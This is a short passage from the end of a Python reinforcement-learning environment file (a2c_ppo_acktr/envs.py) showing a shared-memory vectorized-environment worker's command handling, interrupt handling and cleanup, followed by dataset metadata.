pipe.send(env.get_wandb_video())\n else:\n raise RuntimeError(\"Got unrecognized cmd %s\" % cmd)\n except KeyboardInterrupt:\n print(\"ShmemVecEnv worker: got KeyboardInterrupt\")\n finally:\n env.close()\n","sub_path":"a2c_ppo_acktr/envs.py","file_name":"envs.py","file_ext":"py","file_size_in_byte":23528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"}